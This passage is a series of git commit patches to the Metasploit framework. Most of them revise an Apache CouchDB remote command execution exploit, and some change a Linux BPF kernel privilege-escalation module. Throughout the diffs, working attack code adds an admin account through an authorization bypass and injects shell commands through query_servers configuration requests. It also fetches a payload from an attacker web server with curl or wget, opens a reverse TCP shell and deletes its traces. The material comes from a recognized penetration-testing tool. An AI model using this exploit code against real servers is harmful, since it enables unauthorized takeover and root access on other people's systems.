register_advanced_options( + [ + OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']) + ]) end def check @@ -80,12 +84,18 @@ class MetasploitModule < Msf::Exploit::Remote vprint_good("#{peer} - Authorization bypass successful") if auth_bypass - start_http_server + start_http_server - (1..3).each do |i| - print_status("#{peer} - The #{i} time to exploit") + if !datastore['Attempts'] || datastore['Attempts'] == 0 + attempts = 1 + else + attempts = datastore['Attempts'] + end + + attempts.times do |i| + print_status("#{peer} - The #{i+1} time to exploit") send_payload(version) - Rex.sleep(3) + Rex.sleep(5) # break if we get the shell break if @exploit_flag end From c53341f6c01e74928d139d4eb36496857700a867 Mon Sep 17 00:00:00 2001 From: Green-m Date: Wed, 4 Apr 2018 00:38:57 -0400 Subject: [PATCH 011/217] Fix msftidy problem. --- modules/exploits/linux/http/apache_couchdb_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 49878801f3..1d8be7adcf 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_good("#{peer} - Authorization bypass successful") if auth_bypass - start_http_server + start_http_server if !datastore['Attempts'] || datastore['Attempts'] == 0 attempts = 1 From 0d470f67ef0b2255fb6b518b5c57fb2d244ade52 Mon Sep 17 00:00:00 2001 From: Green-m Date: Wed, 4 Apr 2018 05:49:35 -0400 Subject: [PATCH 012/217] Run bash on the script directly. --- modules/exploits/linux/http/apache_couchdb_cmd_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 1d8be7adcf..9692ee40e3 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -229,7 +229,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"cat #{rand_file}|bash"} + 'data' => %Q{"/bin/bash #{rand_file}"} ) res = send_request_cgi( @@ -295,7 +295,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"cat #{rand_file}|bash"} + 'data' => %Q{"/bin/bash #{rand_file}"} ) From dd523c7d20fecef50fa96ceb1df8e7ff7782ba44 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 6 Apr 2018 18:51:04 -0400 Subject: [PATCH 013/217] compile path not local file --- modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index fa01cab577..6267d7af96 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -381,7 +381,7 @@ class MetasploitModule < Msf::Exploit::Local payload_filename = 'JDQDHtEG' payload_path = '/tmp/JDQDHtEG' end - upload_and_compile(filename, path, c_code, compile ? "gcc -o #{filename} #{filename}.c" : nil) + upload_and_compile(filename, path, c_code, compile ? "gcc -o #{path} #{path}.c" : nil) upload_and_compile(payload_filename, payload_path, generate_payload_exe) print_status('Starting execution of priv esc.') From 076a73c2eed6855b771cf8f65d5f51e7d1f68687 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sat, 7 Apr 2018 23:37:56 -0400 Subject: [PATCH 014/217] use Gem::Version for version comparisons --- modules/exploits/linux/http/apache_couchdb_cmd_exec.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 9692ee40e3..5b601b24e3 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -63,14 +63,14 @@ class MetasploitModule < Msf::Exploit::Remote def check - version = get_version + version = Gem::Version.new(get_version) case when !version return Exploit::CheckCode::Unknown - when version < '1.7.0' + when version < Gem::Version.new('1.7.0') return Exploit::CheckCode::Appears - when version.between?('2.0.0','2.1.0') + when version >= Gem::Version.new('2.0.0') && version < Gem::Version.new('2.1.1') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe @@ -139,6 +139,7 @@ class MetasploitModule < Msf::Exploit::Remote temp = res.get_json_document if res rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + print_bad("#{peer} - Connection failed") fail_with(Failure::Unreachable, "#{peer} - Connection failed") return version end From fd83caf51dc1ebdfff338b4397744ec37532b4d1 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 8 Apr 2018 02:23:45 -0400 Subject: [PATCH 015/217] use Gem::Version between --- modules/exploits/linux/http/apache_couchdb_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 5b601b24e3..d24cce94a2 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown when version < Gem::Version.new('1.7.0') return Exploit::CheckCode::Appears - when version >= Gem::Version.new('2.0.0') && version < Gem::Version.new('2.1.1') + when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe From dabd9c8811efe99afcb42f20e179de6b9c989ffb Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 8 Apr 2018 07:51:37 -0400 Subject: [PATCH 016/217] Improve function get_version and check --- .../linux/http/apache_couchdb_cmd_exec.rb | 32 +++++++++---------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index d24cce94a2..df285d5299 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -63,10 +63,11 @@ class MetasploitModule < Msf::Exploit::Remote def check - version = Gem::Version.new(get_version) + version = Gem::Version.new(get_version(false)) case - when !version + when version.version.empty? + vprint_error("Something went horribly wrong and we couldn't get the version.") return Exploit::CheckCode::Unknown when version < Gem::Version.new('1.7.0') return Exploit::CheckCode::Appears @@ -80,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit @exploit_flag = false - version = get_version + version = get_version(true) vprint_good("#{peer} - Authorization bypass successful") if auth_bypass @@ -126,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote end - def get_version + def get_version(flag) version = nil begin @@ -136,34 +137,31 @@ class MetasploitModule < Msf::Exploit::Remote 'authorization' => @auth ) - temp = res.get_json_document if res - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e - print_bad("#{peer} - Connection failed") - fail_with(Failure::Unreachable, "#{peer} - Connection failed") + vprint_bad("#{peer} - Connection failed") + fail_with(Failure::Unreachable, "#{peer} - Connection failed") if flag return version end unless res - print_bad("#{peer} - No response, check if it is CouchDB. ") - fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.") + vprint_bad("#{peer} - No response, check if it is CouchDB. ") + fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.") if flag + return version end if res && res.code == 401 print_bad("#{peer} - Authentication required.") - fail_with(Failure::NoAccess, "#{peer} - Authentication required.") + fail_with(Failure::NoAccess, "#{peer} - Authentication required.") if flag + return version end if res && res.code == 200 - if temp['version'] - version = temp['version'] - else - vprint_warning("#{peer} - Version not found") - end + res_json = res.get_json_document if res + return res_json['version'] if res_json['version'] end + vprint_warning("#{peer} - Version not found") version - end def send_payload(version) From 6682acc4db9d66e6443bbfaf1a2a9869defce3f3 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 8 Apr 2018 23:38:44 -0400 Subject: [PATCH 017/217] Pass range as parameter to rand_text_alpha_lower --- .../linux/http/apache_couchdb_cmd_exec.rb | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index df285d5299..29bc60ffa9 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -67,7 +67,6 @@ class MetasploitModule < Msf::Exploit::Remote case when version.version.empty? - vprint_error("Something went horribly wrong and we couldn't get the version.") return Exploit::CheckCode::Unknown when version < Gem::Version.new('1.7.0') return Exploit::CheckCode::Appears @@ -108,8 +107,8 @@ class MetasploitModule < Msf::Exploit::Remote # for the newly created user. def auth_bypass - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) - password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) + username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) + password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) res = send_request_cgi( @@ -187,12 +186,12 @@ class MetasploitModule < Msf::Exploit::Remote # payload1 is for the version of couchdb below 1.7.0 def payload1 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) @file_to_clean = rand_file res = send_request_cgi( @@ -243,13 +242,13 @@ class MetasploitModule < Msf::Exploit::Remote # payload2 is for the version of couchdb below 2.1.1 def payload2 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) @file_to_clean = rand_file From c0be31369144feb9f09748b15ba7720ac57cd719 Mon Sep 17 00:00:00 2001 From: Green-m Date: Mon, 9 Apr 2018 00:07:58 -0400 Subject: [PATCH 018/217] Update the get_version and check function --- .../linux/http/apache_couchdb_cmd_exec.rb | 39 ++++++++----------- 1 file changed, 17 insertions(+), 22 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 29bc60ffa9..70b00b9ecb 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -62,25 +62,22 @@ class MetasploitModule < Msf::Exploit::Remote end def check + get_version + version = Gem::Version.new(@version) + return CheckCode::Unknown if version.version.empty? + vprint_status "Found CouchDB version #{version}" - version = Gem::Version.new(get_version(false)) - - case - when version.version.empty? - return Exploit::CheckCode::Unknown - when version < Gem::Version.new('1.7.0') - return Exploit::CheckCode::Appears - when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe + if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + return CheckCode::Appears end + CheckCode::Safe end def exploit @exploit_flag = false - version = get_version(true) + fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't access the server.") unless get_version + version = @version vprint_good("#{peer} - Authorization bypass successful") if auth_bypass @@ -126,8 +123,8 @@ class MetasploitModule < Msf::Exploit::Remote end - def get_version(flag) - version = nil + def get_version + @version = nil begin res = send_request_cgi( @@ -138,29 +135,27 @@ class MetasploitModule < Msf::Exploit::Remote rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e vprint_bad("#{peer} - Connection failed") - fail_with(Failure::Unreachable, "#{peer} - Connection failed") if flag - return version + return false end unless res vprint_bad("#{peer} - No response, check if it is CouchDB. ") - fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.") if flag - return version + return false end if res && res.code == 401 print_bad("#{peer} - Authentication required.") - fail_with(Failure::NoAccess, "#{peer} - Authentication required.") if flag - return version + return false end if res && res.code == 200 res_json = res.get_json_document if res - return res_json['version'] if res_json['version'] + @version = res_json['version'] if res_json['version'] + return true end vprint_warning("#{peer} - Version not found") - version + return true end def send_payload(version) From 3c5cbd2664dd58f9114b69120d45a23f31ec341a Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 10 Apr 2018 06:14:47 -0400 Subject: [PATCH 019/217] Use cmdstager method, update function to clean file, delete lots of useless code and etc. --- .../linux/http/apache_couchdb_cmd_exec.rb | 151 ++++++++++-------- 1 file changed, 82 insertions(+), 69 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 70b00b9ecb..cfe3077e3b 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -7,11 +7,11 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Couchdb Arbitrary Command Execution', + 'Name' => 'Apache CouchDB Arbitrary Command Execution', 'Description' => %q{ CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. @@ -32,19 +32,18 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, - 'Payload' => - { - 'Space' => 4096, # Has into account Apache request length and base64 ratio - 'DisableNops' => true - }, 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_bash' + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'curl' }, + 'CmdStagerFlavor' => ['curl', 'wget'], 'Targets' => [ - ['Automatic', {} ] + ['Automatic', {} ], + ['Apache CouchDB version 1.x', {} ], + ['Apache CouchDB version 2.x', {} ] ], 'DefaultTarget' => 0 )) @@ -57,7 +56,8 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options( [ - OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']) + OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), + OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) ]) end @@ -76,14 +76,20 @@ class MetasploitModule < Msf::Exploit::Remote def exploit @exploit_flag = false - fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't access the server.") unless get_version + fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version version = @version vprint_good("#{peer} - Authorization bypass successful") if auth_bypass - start_http_server + print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") + @cmdstager = generate_cmdstager( + 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", + :temp => datastore['WritableDir'], + :file => File.basename(cmdstager_path), + :nospace => true + ).join(';') - if !datastore['Attempts'] || datastore['Attempts'] == 0 + if !datastore['Attempts'] || datastore['Attempts'] <= 0 attempts = 1 else attempts = datastore['Attempts'] @@ -96,6 +102,9 @@ class MetasploitModule < Msf::Exploit::Remote # break if we get the shell break if @exploit_flag end + + print_status("Shutting down the web service...") + stop_service end # CVE-2017-12635 @@ -149,7 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote end if res && res.code == 200 - res_json = res.get_json_document if res + res_json = res.get_json_document + + if res_json.empty? + vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") + return false + end + @version = res_json['version'] if res_json['version'] return true end @@ -159,19 +174,29 @@ class MetasploitModule < Msf::Exploit::Remote end def send_payload(version) - vprint_status("#{peer} - version is #{version}") if version + vprint_status("#{peer} - CouchDB version is #{version}") if version + version = Gem::Version.new(@version) case - when version < '1.7.0' + # Version not found + when version.version.empty? + + vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") + # if target set Automatic, exploit failed. + if target == targets[0] + fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.") + elsif target == targets[1] + payload1 + elsif target == targets[2] + payload2 + end + + when version < Gem::Version.new('1.7.0') payload1 - when version.between?('2.0.0','2.1.0') + when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) payload2 - when version >= '1.7.0' || version > '2.1.0' + when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") - else - # Version not found, try randomly payload - vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...") - send([:payload1,:payload2].sample) end @@ -186,14 +211,14 @@ class MetasploitModule < Msf::Exploit::Remote rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) + rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" @file_to_clean = rand_file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"curl #{@service_url} > #{rand_file}"} + 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} ) @@ -222,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/bash #{rand_file}"} + 'data' => %Q{"/bin/sh #{rand_file}"} ) res = send_request_cgi( @@ -232,6 +257,8 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/json', 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} ) + + end # payload2 is for the version of couchdb below 2.1.1 @@ -243,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) + rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" @file_to_clean = rand_file @@ -259,7 +286,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"curl #{@service_url} > #{rand_file}"} + 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} ) @@ -288,7 +315,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/bash #{rand_file}"} + 'data' => %Q{"/bin/sh #{rand_file}"} ) @@ -301,61 +328,47 @@ class MetasploitModule < Msf::Exploit::Remote ) end + def cmdstager_path + @cmdstager_path ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" + end + + # + # Override methods + # + def on_request_uri(cli, request) - if (not @pl) + if (not @cmdstager) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end - vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent'] - - if request.headers['User-Agent'] !~ /curl/ - print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}") - send_not_found(cli) - return - end - - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - send_response(cli, @pl) + print_status("Sending payload #{datastore['PAYLOAD']}") + super end - def start_http_server - @pl = payload.encoded - - resource_uri = datastore['URIPATH'] || random_uri - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - # do not use SSL for the attacking web server - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}" - service_url_payload = srv_host + resource_uri - vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - datastore['SSL'] = true if ssl_restore - connect + def start_service(opts = {}) + super + @service_url = get_uri end + # mark the exploit successful and clean temp file created during exploiting def on_new_session(client) # mark flag be true to stop exploit. @exploit_flag = true + + # CmdStager should rm the file, but it blocks on the payload, so we do it + @file_to_clean << " #{cmdstager_path}" vprint_status("Cleaning temp file #{@file_to_clean}") begin - client.shell_command_token("rm #{@file_to_clean}") + if client.type.eql? 'meterpreter' + client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' + client.fs.file.rm @file_to_clean + else + client.shell_command_token("rm #{@file_to_clean}") + end vprint_good("Cleaned temp file successful.") rescue print_warning("Need to clean the temp file #{@file_to_clean} manually.") From c72ca7544b5dc86a5f3536e97ceac27352d58ed9 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 11 Apr 2018 21:05:15 -0400 Subject: [PATCH 020/217] dont let this run on meterpreter --- .../local/bpf_sign_extension_priv_esc.md | 6 ++++++ .../local/bpf_sign_extension_priv_esc.rb | 21 ++++++++++++------- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index f1c03c9cdb..4210670be8 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -10,6 +10,12 @@ This module has been successfully tested on: * Ubuntu 16.04 with the 4.4.0-116 kernel * Linux Mint 18 with the 4.4.0-116-generic kernel +### Meterpreter Exception + +Due to a bug, this exploit can only be run on a non-meterpreter shell. +When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument` +is thrown by the executable. + ## Verification Steps 1. Start msfconsole diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 6267d7af96..8bbf76714b 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -25,12 +25,12 @@ class MetasploitModule < Msf::Exploit::Local 'Author' => [ 'bleidl', # discovery - 'vnik', #edb + 'vnik', # edb 'h00die' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'SessionTypes' => [ 'shell'], 'References' => [ [ 'CVE', '2017-16995' ], @@ -40,7 +40,8 @@ class MetasploitModule < Msf::Exploit::Local ], 'Targets' => [ - [ 'Linux x64', { 'Arch' => ARCH_X64 } ] + [ 'Linux x64', { 'Arch' => ARCH_X64 } ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { @@ -62,6 +63,10 @@ class MetasploitModule < Msf::Exploit::Local uname = cmd_exec('uname -r') if uname == '4.4.0-116-generic' vprint_good('Kernel confirmed vulnerable') + if session.type.to_s.eql? 'meterpreter' + print_error('Exploit can only be run on shells (meterpreter does not work)') + return CheckCode::Safe + end return CheckCode::Appears end print_error('Kernel not vulnerable') @@ -342,7 +347,7 @@ class MetasploitModule < Msf::Exploit::Local } filename = rand_text_alpha(8) - path = "#{datastore['WritableDir']}/#{filename}" + exploit_path = "#{datastore['WritableDir']}/#{filename}" def check_gcc?() gcc = cmd_exec('which gcc') @@ -369,7 +374,7 @@ class MetasploitModule < Msf::Exploit::Local c_code.gsub!(/system\("\/bin\/bash"\);/, "system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable print_status('Writing files to target') - cmd_exec("cd #{datastore['WritableDir']}") + #cmd_exec("cd #{datastore['WritableDir']}") else vprint_status('Dropping pre-compiled exploit on system') compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') @@ -381,12 +386,12 @@ class MetasploitModule < Msf::Exploit::Local payload_filename = 'JDQDHtEG' payload_path = '/tmp/JDQDHtEG' end - upload_and_compile(filename, path, c_code, compile ? "gcc -o #{path} #{path}.c" : nil) + upload_and_compile(filename, exploit_path, c_code, compile ? "gcc -o #{exploit_path} #{exploit_path}.c" : nil) upload_and_compile(payload_filename, payload_path, generate_payload_exe) - print_status('Starting execution of priv esc.') + print_status("Starting execution of priv esc: #{exploit_path}") - output = cmd_exec(path) + output = cmd_exec(exploit_path) output.each_line { |line| vprint_status line.chomp } end end From 054e525a61db7efb9ff7aa3d4b66db4100ef8c6d Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 12 Apr 2018 03:51:37 -0400 Subject: [PATCH 021/217] Couchdb debug code --- .../http/apache_couchdb_cmd_exec_debug.rb | 436 ++++++++++++++++++ 1 file changed, 436 insertions(+) create mode 100644 modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb new file mode 100644 index 0000000000..32a7908038 --- /dev/null +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb @@ -0,0 +1,436 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache CouchDB Arbitrary Command Execution', + 'Description' => %q{ + CouchDB administrative users can configure the database server via HTTP(S). + Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. + This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, + including downloading and executing scripts from the public internet. + }, + 'Author' => [ + 'Max Justicz', # CVE-2017-12635 Vulnerability discovery + 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery + 'Green-m ' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2017-12636'], + [ 'CVE', '2017-12635'], + [ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + [ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], + [ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] + ], + 'DisclosureDate' => 'Nov 14 2017', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'wget' + }, + 'CmdStagerFlavor' => ['curl', 'wget'], + 'Targets' => [ + ['Automatic', {} ], + ['Apache CouchDB version 1.x', {} ], + ['Apache CouchDB version 2.x', {} ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(5984), + OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', 